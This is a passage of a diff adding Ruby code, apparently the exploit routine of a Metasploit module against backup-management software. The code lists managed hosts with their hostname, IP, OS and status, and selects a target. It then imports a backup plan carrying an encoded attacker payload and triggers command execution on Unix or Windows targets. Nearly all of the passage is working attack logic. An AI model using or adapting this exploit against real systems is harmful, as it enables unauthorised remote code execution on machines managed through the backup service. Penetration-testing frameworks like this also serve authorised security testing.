#{item['type']}") unless item['type'].nil? + print_status("hostname: #{item['title']}") unless item['title'].nil? + print_status("IP: #{item.dig('ip', 0)}") unless item.dig('ip', 0).nil? + print_status("OS: #{item['os']}") unless item['os'].nil? + print_status("ARCH: #{item['osType']}") unless item['osType'].nil? + print_status("ONLINE: #{item['online']}") unless item['online'].nil? + hostid = item['hostId'] + parentid = item['parentId'] + key = item['id'] + break + end + end + fail_with(Failure::NotFound, "No target available matching your target setting #{target.name}.") if hostid.blank? || parentid.blank? || key.blank? + + # create and import backup plan with payload + print_status("Import backup plan with payload for target with hostId: #{hostid}.") + @planid = create_and_import_backup_plan(hostid, parentid, key, payload.encoded, @access_token2) + fail_with(Failure::BadConfig, 'Importing backup plan with payload failed.') if @planid.nil? + + print_status("Executing #{target.name} with payload #{datastore['PAYLOAD']}") + case target['Type'] + when :unix_cmd, :win_cmd + execute_command(@access_token2) + end + end +end